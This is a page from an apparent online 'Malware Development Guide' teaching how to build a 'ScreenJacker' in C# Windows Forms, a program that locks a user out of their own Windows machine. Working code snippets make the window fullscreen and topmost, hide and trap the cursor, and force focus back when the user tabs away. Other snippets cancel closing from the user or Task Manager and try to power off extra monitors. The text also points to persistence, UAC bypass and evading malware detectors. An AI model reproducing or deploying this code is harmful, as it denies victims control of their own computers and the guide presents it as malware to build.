πŸ‘Ύ
Malware Development Guide
  • πŸš€Introduction
  • 🐀Baby Steps
    • πŸ“”Pre-requisite Knowledge
    • What is Malware?
    • Programming Guide
    • Vulnerability Analysis
  • πŸ‘ΎBasic Malware
    • Fork Bombs
    • Logical Bombs
    • Zip Bombs
    • Keyloggers
    • Wipers
    • ScreenJackers
    • Prependers and Postpenders
    • What's Next?
  • πŸ’€Intermediate Malware
    • Browser Extensions
    • Worms
    • RATs
  • ☠️Advanced Malware
    • Botnets w/ C2 Servers
    • Rootkits and Bootkits
    • Polymorphic Malware
  • Appendix
    • Pivoting
      • Windows: Effing Drivers
      • Windows: Abusing LSASS
    • Elementary Concepts and Stuff
      • Memory Representation
      • Expressions
    • Being Stealthy
      • UAC Evasion
      • OPSEC
      • Code Obfuscation
      • Signing Code and Binary Properties
      • Punycodes
    • Backdoors
    • Windows Process Injection
    • SIM Swapping
    • Quishing
    • RunPE
    • Malware Packers
    • Learning Resources
  • Updates n Stuff
  • Scratchpad
Powered by GitBook
On this page
  • Making the Program Fullscreen
  • Disabling the Mouse/Cursor
  • Displaying the Payload Media
  • Prevent the user from closing the window
  • Disabling Other Input Vectors
  • Disabling Other Monitors/Displays
  • Building the Program
  1. Basic Malware

ScreenJackers

PreviousWipersNextPrependers and Postpenders

Last updated 1 year ago

(I'm not sure what to call these, so I'll just borrow the idea from those and call it a day )

Essentially, the core idea behind a Screenjacker is, as the name might suggest, to hijack one or multiple (if not all) displays attached to a system to either disable them or play something on them.

I was always fascinated by the stuff that those typical movie hacktivists do where they take over a system and make it display something, like a GIF or a video. Here's an example of a person doing this IRL:

This too:

Doing this kinda stuff to any arbitrary system and making it display some sort of GIF on repeat and/or a video is very cool indeed. But Screenjackers don't just do that, they essentially lock the user out of their own system by overriding their inputs until either some sort of condition is met, or for the duration of the media being played.

Interestingly enough, the control disabling part is not that difficult, the most difficult part is actually the "taking over the display(s)" part, simply because there's no universal display control/window manager that's installed on ALL systems. So, it only makes sense if we make an instance of such malware for a specific target and port it (or at least attempt to port it) to for another target system with different specs.

For this particular guide, I'll be targeting a system with the following specs:

  • Operating System: Windows 10 Home (10.0.19045 Build 19045)

  • Display Driver Version: 30.0.100.9805

  • Display: DELL S2216H 1920x1080x60Hz

  • Dotnet Details:

C:\Users\user> dotnet --list-sdks
6.0.202 [C:\Program Files\dotnet\sdk]

C:\Users\user> dotnet --list-runtimes
Microsoft.AspNetCore.App 5.0.16 [C:\Program Files\dotnet\shared\Microsoft.AspNetCore.App]
Microsoft.AspNetCore.App 6.0.4 [C:\Program Files\dotnet\shared\Microsoft.AspNetCore.App]
Microsoft.AspNetCore.App 6.0.13 [C:\Program Files\dotnet\shared\Microsoft.AspNetCore.App]
Microsoft.NETCore.App 3.1.24 [C:\Program Files\dotnet\shared\Microsoft.NETCore.App]
Microsoft.NETCore.App 5.0.10 [C:\Program Files\dotnet\shared\Microsoft.NETCore.App]
Microsoft.NETCore.App 5.0.16 [C:\Program Files\dotnet\shared\Microsoft.NETCore.App]
Microsoft.NETCore.App 6.0.4 [C:\Program Files\dotnet\shared\Microsoft.NETCore.App]
Microsoft.NETCore.App 6.0.13 [C:\Program Files\dotnet\shared\Microsoft.NETCore.App]
Microsoft.WindowsDesktop.App 3.1.24 [C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App]
Microsoft.WindowsDesktop.App 5.0.10 [C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App]
Microsoft.WindowsDesktop.App 5.0.16 [C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App]
Microsoft.WindowsDesktop.App 6.0.4 [C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App]
Microsoft.WindowsDesktop.App 6.0.13 [C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App]

Imma be honest, at the time of making this, it's my first time ever working with either Visual Studio OR C# or Windows Forms app development. So my apologies for all the nasty code you're about to see. I'll try my best to clean it up as much as possible though :3

Okay... So to start off, let's take a default windows forms app:

With this new and shiny template project, we need to do a couple of things:

  1. Make the thing run in Fullscreen.

  2. Disable and Hide the Mouse.

  3. Make our GIF/Video display on the window.

  4. Prevent the user from closing the window.

  5. Disable as many input vectors as we can.

  6. (Optional) Disable other monitors/displays (if any).

  7. (Optional) Make the thing persistent so that even turning off the system does not get rid of our... "prank program".

  8. (Optional) Pack it with a rootkit so that it either bypasses UAC or tricks the user into accepting the UAC prompt (at which point this will be considered a trojan I guess).

  9. Building the program

Making the Program Fullscreen

When you start off, you'll have like 2 primary files which contain code for the application: Program.cs and Form1.Designer.cs.

Our main interest is in the Form1.Designer.cs file; so just pin that sucker so that you don't lose track of it. Next, we wanna open the GUI based designer thingy that Visual Studio provides. If you're wondering how to do that, in the file tree, right click on the Form1.cs and click View Designer or simply press Shift+F7

Once you have this open, switch back to the Form1.Designer.cs file and locate the InitializeComponent function generated by the designer at the end. This will contain the following initially:

private void InitializeComponent() 
{
    this.components = new System.ComponentModel.Container();
    this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
    this.ClientSize = new System.Drawing.Size(800, 450);
    this.Text = "Form1";
}

Most of the stuff added to make our screenjacker will be here. To make the window go fullscreen, add the following:

// Bring it into "focus" and move the window to the top
this.Activate();
this.TopMost         = true;

// Make the window borderless
this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None;

// Maximize the window so that it takes up all space on the current monitor
this.WindowState     = System.Windows.Forms.FormWindowState.Maximized;

Disabling the Mouse/Cursor

Next up, let's deal with the mouse. We can't really "disable the mouse" as that would require hardware control; rather than that complicated mess, consider the following clever workaround that we can use to give an illusion that the mouse is disabled:

  • Hide the cursor so that the user cannot see it.

  • Restrict the movement of the cursor so that it does not leave the bounds of the window.

Yes, I know that we can disable the mouse completely by deleting the drivers for it, but for the purposes of safer testing of this stuff, I chose to go with this approach instead. Albeit, I'll be including code for the driver deletion magic either here or in an embedded GitHub repository link.

Hiding the cursor is fairly simple in windows forms apps, it's accomplished by a call to the Hide function of the Cursor class:

Cursor.Hide();

Just in case the user somehow manages to display the cursor while in the window, you can also add the following line as a failsafe:

Cursor = System.Windows.Forms.Cursors.No;

Now that our cursor is nice and tucked away hidden, we also must consider that maybe the user has managed to resize the window or has multiple monitors. This means that they can just move the cursor out of the window's bounds and do whatever. To work around this, we can make it so that whenever the cursor tries to leave the window, it's moved back inside and/or is restricted.

To achieve this, we first need to define a function that moves the cursor into the window's bounds:

private void MoveCursor(object sender, EventArgs e) 
{
    this.Capture = true;
    System.Windows.Forms.Cursor.Clip = Bounds;        
}

We need this function to be executed on (at least) the following events:

  • When the application is started.

  • When the user tries to move the window.

  • When the user tries to resize the window.

this.Resize          += new System.EventHandler(this.MoveCursor);
this.Activated       += new System.EventHandler(this.MoveCursor);
this.LocationChanged += new System.EventHandler(this.MoveCursor);
private void MoveUserIntoWindow(object sender, EventArgs e) 
{
    this.Capture = true;
    System.Windows.Forms.Cursor.Clip = Bounds;
    
    this.Activate();
    this.Focus();
}

We'll also need modify the previous lines adding this funciton to Resize, Activated, and LocationChanged; and to add this sucker as an event handler to some more events...

this.Resize          += new System.EventHandler(this.MoveUserIntoWindow);
this.Activated       += new System.EventHandler(this.MoveUserIntoWindow);
this.LocationChanged += new System.EventHandler(this.MoveUserIntoWindow);

// More event handlers!!
this.Enter           += new System.EventHandler(this.MoveUserIntoWindow);
this.GotFocus        += new System.EventHandler(this.MoveUserIntoWindow);
this.LostFocus       += new System.EventHandler(this.MoveUserIntoWindow);

With this, we can be moderately assured that the user's locked in our window's bounds.

Displaying the Payload Media

Remember the Designer view that we opened before? It's time to put that sucker into use (only shortly tho >.>).

While in the Designer view/tab, open the Toolbox (usually located on the left side of the window). Search for the PictureBox component and drag'n'drop it into the preview window. That's all we need the designer view for; Now switch back to the Form1.Designer.cs file. You'll notice that the following code is prepended to our existing code in InitializeComponent:

this.pictureBox1 = new System.Windows.Forms.PictureBox();
((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit();
this.SuspendLayout();
// 
// pictureBox1
// 
this.pictureBox1.Location = new System.Drawing.Point(311, 186);
this.pictureBox1.Name     = "pictureBox1";
this.pictureBox1.Size     = new System.Drawing.Size(100, 50);
this.pictureBox1.TabIndex = 0;
this.pictureBox1.TabStop  = false;

With the following at the end:

((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).EndInit();
this.ResumeLayout(false);

Let's first stretch our GIF to fit the window:

this.pictureBox1.Dock = System.Windows.Forms.DockStyle.Fill;
this.pictureBox1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage;

Done! Next we'll embed the actual GIF using the ImageLocation:

this.pictureBox1.ImageLocation = "URL_OR_PATH_TO_THE_ASSET";

And..... we're done! Our (primitive)screenjacker is now ready!

Prevent the user from closing the window

private void Form1_FormClosing(object sender, FormClosingEventArgs e) 
{
    if (e.CloseReason == CloseReason.UserClosing || 
        e.CloseReason == CloseReason.TaskManagerClosing || 
        e.CloseReason == CloseReason.FormOwnerClosing ) {
        // Cancel the event
        e.Cancel = true;
    }    
}

Disabling Other Input Vectors

W.I.P

Disabling Other Monitors/Displays

private int SC_MONITORPOWER = 0xF170;
private uint WM_SYSCOMMAND = 0x0112;

[DllImport("user32.dll")]
static extern IntPtr SendMessage(IntPtr hWnd, uint Msg, IntPtr wParam, IntPtr lParam);
private void DisableNonPrimaryScreens() 
{
    Screen primaryScreen = Screen.PrimaryScreen;
    Screen[] screens = Screen.AllScreens;
        if (screens.Length > 1) 
        {
            foreach (Screen s in screens) 
            {
                if (!s.Equals(primaryScreen)) 
                {
                    Form frm = new Form();
                    frm.Location = s.WorkingArea.Location;
                    SendMessage(frm.Handle, WM_SYSCOMMAND, (IntPtr)SC_MONITORPOWER, (IntPtr)2);
                }
            }
        }
}
private void MoveUserIntoWindow(object sender, EventArgs e) 
{
    this.Capture = true;
    System.Windows.Forms.Cursor.Clip = Bounds;
    
    this.Activate();
    this.Focus();
    this.DisableNonPrimaryScreens();
}

PS: In the case I do figure something out, I'll be sure to update this

Building the Program

The building process is quite simple really, just follow the steps on the following Microsoft article:

Once the file is built, there's a couple of things that you can do just to make sure that the file evades basic malware detectors.

I'm not sure if it'd make a difference if we choose the .NET version of the template for our use case

This is not exactly making it fullscreen, but rather a borderless-maximized window (it works for now, so if you have a suggestion or alternative please feel free to comment here or email me or something )

Note that this line should be added before you hide the cursor.

If you're wondering about the function arguments, they're essentially there so that we can get this function as a .

This can be done by adding our function as an event handler to: , , events. The following code accomplishes this:

We must also consider that the user may try to do an Alt+Tab and try to get out, but that's fairly easy to fix. We just monitor the window's Focus. That is, if the window goes out of focus, we refocus on it. (I honestly hope that this makes sense ):

This was partly handled by us modifying the event to move the mouse cursor into the window. To add the refocusing thing, we can just modify the MoveCursor function and maybe rename it to something better:

No need to change this; but we will add some more stuff to, for example, make the image/GIF/video the same size as the window. For this example (and to keep things simple, I'll make it just display a GIF, for videos, refer to ).

A very simple and effective method for this is to add the following function as an event handler for the event:

Since there's a possibility that the target may have more than 1 display, we need to make sure that if that's the case, we disable as many as possible (if not all). All displays except the primary one. Some googling led me to S.O. post. Using that and some quick makeshift code, we can put together something that works:

A call to this function can be put into the MoveUserIntoWindow function from before for maximum effect (i guess )

I know, I know, it doesn't really work, and I'm not sure what would, so if any of you'll is more experienced than me with all... this, please lemme know and reach out and help and stuff.

πŸ‘Ύ
πŸ€·β€β™‚οΈ
☺️
☝️
πŸ˜…
πŸ€·β€β™‚οΈ
☺️
System.EventHandler
Form.Activate
Control.Resize
Control.LocationChanged
Form.Activated
this msdocs page
FormClosing
this
πŸ‘€
JuiceJackers
LogoCreate a single file for application deployment - .NETMicrosoftLearn
Which brings you to...
⬇️